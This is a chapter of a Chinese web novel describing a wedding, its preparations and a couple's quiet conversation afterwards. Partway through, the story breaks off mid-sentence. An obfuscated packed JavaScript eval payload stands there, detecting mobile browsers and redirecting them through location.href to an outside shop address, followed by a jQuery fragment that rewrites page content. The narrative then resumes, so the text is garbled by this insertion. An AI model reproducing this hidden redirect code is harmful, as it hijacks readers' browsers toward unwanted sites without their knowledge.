63. 番外五

作品:《重生后嫁给绿茶小哑巴

    吴小草抬手覆在蒙着自己眼睛的那只大手上,轻轻拍了两下,道:“拿开,我看不见路了。”


    廖成杰不高兴,但还是很听话地将手拿开了。


    那边方漾与赵欢喜寒暄完,转头看向吴小草。


    她对吴小草的感情有些复杂,因为吴小草曾爱慕过勾衡,但并非吃醋,而是觉得神奇。


    勾衡这样不声不响的性子,若非被她发现了那张床的图纸,他或许一辈子都不会将感情宣之于口,方漾一度觉得勾衡根本没男女方面的心思,这样的南墙,光看着就觉得艰难,极少有人会去撞。


    但吴小草撞了,还撞得眼泪横飞。


    方漾看着眼前已经长大的女孩,心中不由冒出欣赏之情,因为吴小草曾那样炽烈、勇敢。


    “小草。”


    “将......”吴小草喊了一半,正要改嘴,却被方漾止住了。


    “叫将军就行。”


    “将军。”吴小草喊了一声,又微微转动身子,面向勾衡,“阿衡哥哥。”


    勾衡冲她点头。


    吴小草与廖成杰的婚礼原是在六日后举办,但因着临时要加三日流水席,便成了三日后开始忙活。


    赵欢喜帮两人搭线请了厨子,可桌椅板凳的租赁与习俗所需之物都还零零散散的没置办齐全。


    “好在你来了,快帮我看看,盖头是选这个样式、还是这样的?”赵欢喜从桌上拿起两块盖头,摊在方漾面前叫她选。


    从前遇上这种事,方漾定是会头大的,但如今不同了,在宫中她常常要面临重大抉择,那么多复杂艰难的决定她都做下来了,只是选盖头,她反倒轻松了不少。


    赵欢喜见方漾在认真看花样,又转头看见一堆站在屋子里无所事事的男人们,心里涌起一股无名火来。


    “成杰,你再去城南的刘叔那儿问问,加三套桌椅,他可有,若有,你便问问价格,让别人帮咱留半日,等我们商议好了价格再下定金......”


    赵欢喜说着,又想起什么似的,对金谷道:“阿稻怕是醒了,爹年纪大了腿脚不便,你回家去把阿稻带过来......”


    阿稻是个三岁的男娃娃,方漾即位那年,赵欢喜在西阚生了他,因为盼着新年能有大丰收,便取了“稻”字做名字。


    “还有二牛,先前七婆婆说给你相看的南边姑娘,你到底如何回应?七婆婆那边催着呢,这么好的姑娘,你若是错过了,保准后悔!”


    勾衡一个个听着,颇有种将军点兵的感觉——下一个该到他了。


    赵欢喜一个个说过去,待到勾衡时,她脸上的不耐与烦躁都消失了,声音都温柔了许多:“阿衡要不要去给阿漾买些早饭来?我们现在做怕是来不及,你出门右转去那家门头挂着蓝布的铺子,要两碗肉臊米粉,给他们指对面赵记米铺,他们就知道是我要的,不用付钱,端过来就好。”


    勾衡点点头。


    得了“任务”的几人都出去了,只剩二牛还站在原地被审讯。


    “你要什么样的啊你?人家乔小姐是随家里人从南边过来做生意的,若非西阚位置好,与外族生意好做,乔家可不会留下,这要留下的消息还是七婆婆偷偷告诉我的,等传扬出去,乔家的大门都要给踏破了!”


    “这块吧。”方漾捡着赵欢喜的话口,将自己选好的红盖头递了过去。


    赵欢喜接过又递给吴小草,待吴小草点头,她才道:“那就这块。”


    说完,她又从椅子一旁的巷子里翻了许多东西出来,一一摊开在方漾面前:“婚房的桌布用哪个花样?你说喜被上是绣鸳鸯多一点好看,还是绣花多一点好看?”


    方漾看着面前一大堆的东西,忽然有点后悔——她轻敌了,这么多东西,好像也没有比先前在朝堂上那些事简单......


    “说话呀!”赵欢喜又转头去问二牛。


    人高马大的壮汉像个新兵蛋子似的站在屋子里,低着头不敢说话。


    “二牛是不喜欢乔小姐吗?”方漾好奇。


    “才不是!”吴小草插嘴道,“我先前还看见他偷看人家乔姑娘呢!”


    “我没偷看!”二牛终于出声了。


    方漾觉得有趣,看看吴小草又看看二牛。


    二牛憋了半天才道:“这又不是我说了算的......人家那么好,看不上我的......”


    赵欢喜听了一巴掌拍在桌子上道:“怎么看不上你了!你差哪儿了?要职位有职位、要功夫有功夫!”


    二牛又低着头不说话。


    其实屋子里的人知道,二牛长得不算风流倜傥,甚至算得上粗犷,这样的长相,是极容易吓着贵女们的。


    “人家乔小姐随着父母走南闯北,什么样的男人没见过?你问都不问她,就自己在这儿自卑,万一错过了,可有你后悔的!”赵欢喜的语气放缓了,不再那么咄咄逼人,屋子里的人都听得出来,她是真心为二牛着急。


    “乔小姐见过二牛吗?”方漾问。


    赵欢喜想了想,道:“应当见过吧?毕竟二牛经常巡逻,只是这边没得到二牛的准信,七婆婆那边也没敢轻易给两人搭线。”


    “那乔小姐会来吃小草的喜酒吗?”


    “会啊,乔家和小花有生意往来呢。”


    “不若吃喜酒的时候介绍两人认识,到时再看乔小姐态度?”方漾提议。


    二牛低着头不说话。


    赵欢喜只好点头应下。


    这边廖成杰在刘叔那儿问了价,正往回走,正好遇见勾衡来还面馆空碗,两人在小草家不远处的茶铺坐下了。


    勾衡呷了一口茶,有些涩口,算不得极好的茶,但给旅人提神解渴还是够用的。


    杯底落在木桌上,发出轻轻的声响,勾衡放下茶杯,看向廖成杰,他知道,廖成杰有话要跟他说。


    “阿衡哥......”廖成杰喊了一声,又停下了。


    勾衡微微歪头,耐心等着。


    “你和将军还好吗?”廖成杰憋了半天,冒出这么一句来。


    勾衡忍不住笑了一下,点点头。


    “我和小草也挺好的......”廖成杰嘟囔了一声。


    勾衡嘴角带笑,拎起茶壶倒了点白开水在桌上,用手指蘸了一下,在木桌上写了个“配”字。


    他神色轻松又诚恳,廖成杰看着,忽然觉得自己吃醋的行为有些太幼稚了。


    勾衡见他神色变化,便知晓他已经想通了,两人没有多说什么,喝完剩下的茶水便起身离开了。


    三日的流水席办得热热闹闹,真到了成亲这日,百姓们都乐意出门为他们吆喝一声。


    新娘进了门,夫妇俩正在拜天地,方漾站在一侧看着,忽然转头小声对勾衡道:“我都有些忘了,我们成亲的时候是怎么拜的天地了,头上的冠子压得我脖子疼......”


    身后的男人自然不会说话,但方漾的颈侧忽然覆上来一只温热的手,缓缓摩挲着她的皮肤。


    她知道这是勾衡在给她按摩脖子,安慰她,但两人从临占出来后,几乎夜夜缠绵,她对勾衡掌心的纹路早已了然于心,不仅熟悉,而且贪恋。


    她缩了缩脖子,躲开了勾衡的手,勾衡也不纠缠,默默将手放下。


    手放下的瞬间,指尖被一个软软的触感包裹住了,勾衡低头一看,是金稻,金谷和赵欢喜的儿子,才三岁。


    小孩长得像赵欢喜,圆脸大眼睛,仰头看人的时候可爱得不行。


    “我想看。”小孩张嘴了,说话声音奶呼呼的。


    勾衡弯腰一把抱起他,金稻的视野一下就开阔了,小小地“哇”了一声,隔着两三个人头,他看见了自家爹娘正冲他招手。


    怀里的孩子扭动了一下屁股,勾衡转头去看,发现孩子正跟他爹娘打招呼呢。


    “夫妻对拜!”


    这一嗓子把孩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645626|183351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子的注意力都吼过去了,小娃娃目不转睛地盯着新人对拜,就在两人拜完抬头时,孩子忽然喊了一句:“我也要拜!”


    厅堂里静了一瞬,而后爆发出哄笑声。


    金稻有些紧张地拽着勾衡的领子,见大家都看向他,他又有些不好意思似的,转头将脸在了勾衡肩上。


    将新娘送入洞房后,宴席便开始了。


    这夜所有人都喝得烂醉,包括方漾,但勾衡却保持着清醒。


    “我喊人送你们回客栈?”赵欢喜抱着已经跑累了睡着的金稻,轻声问勾衡。


    勾衡摇摇头,点了点自己的头,表示自己很清醒,随后打横抱起方漾,稳稳当当地向外走。


    勾衡几乎没见方漾喝醉过,她喝得最狠也只是脸颊微红,不会像现在一样睡得不省人事。


    他心里清楚,她有心结。


    当初方勤时就是在她酒里下了药,差点害死了她。


    但现在方勤时死了,她也有了他的保护......


    想到这儿,勾衡的心有些发热——自己竟然已经成为了她如此信赖和依靠的人了吗?


    原以为方漾会一觉睡到天亮,没想到才躺到客栈的床上就醒了。


    “嗯?我在哪儿?”她的眼神很迷离,看勾衡都觉得模糊。


    勾衡用帕子沾了水拧到半干,轻轻贴在方漾脸上给她擦脸。


    冰凉的毛巾为方漾烧红的脸带走了一些热气,她觉得舒服了很多。


    “阿衡......”她轻轻呢喃了一句。


    夜里静谧,勾衡听到了,于是隔着帕子揉了揉她的耳朵当做回应。


    “我是不是......”她半睁着眼,看向勾衡,勾衡竟从那双漂亮的眸子里看出了一丝委屈,“是不是不能生小孩?”


    勾衡蹙眉,不知道她为何忽然提起这个。


    方漾仰面躺倒在床上,似乎在自言自语:“他们烦死了,一直说你无所出无所出,如果我能生个孩子让他们闭嘴就好了......”


    勾衡俯下身,继续替方漾擦脖子——他说不出话,眼下写字或比划,方漾都不会看,不如先替她收拾妥当,说不定她待会儿就睡了,这话等明早再问也行。


    可方漾硬是等到他把两人都收拾妥当,双双躺下,都还没睡,甚至愈发清醒了。


    “阿衡,你给我诊脉,看看我是不是真的不能生。”


    勾衡看着眼前递过来的手腕,蹙着眉比划:不必了,不生孩子就选贤,不是非要生孩子的。


    “不行。”方漾反驳道,“生与不生,到最后都是选贤,但我不想让他们一直戳你的脊梁骨。”


    说着,她忽然低头喃喃了一句:“莫非是我先前在战场上受的伤太多了?我记得有几次确实被重击了小腹......”


    勾衡怕她胡思乱想,于是搭上她的脉诊了起来,没一会儿便松开了。


    方漾的脸上竟然出现了一丝紧张,直到勾衡向她比划:你太累了,身子有些不大顺畅,慢慢调理就好了。


    “那就好......”方漾松了口气。


    她原先只是想生个孩子,让朝臣们闭嘴,但这几日见了金稻,忽然又觉得,若是皇宫有个活泼的小娃娃四处跑跑跳跳的,似乎也很好......


    两人又多待了几日,在临占雪花般飞来催促的信件中,方漾终于拍板说要启程回临占了。


    离开那日,城门口站满了送行的人,而方漾与勾衡并未过多停留,潇洒转身离开了。


    直到离城门远了,方漾才偷偷转头去看——这一走,又不知何时才能相见了。


    但好在故人一切皆好,即使相隔万里,心中挂念彼此便够了。


    想到这儿,方漾将身子转了回来,对身侧的勾衡道:“走吧。”


    勾衡点头。


    方漾看着前方看不见尽头的路,心中却十分安定,无论她去哪里,都有勾衡陪着,她不会孤独。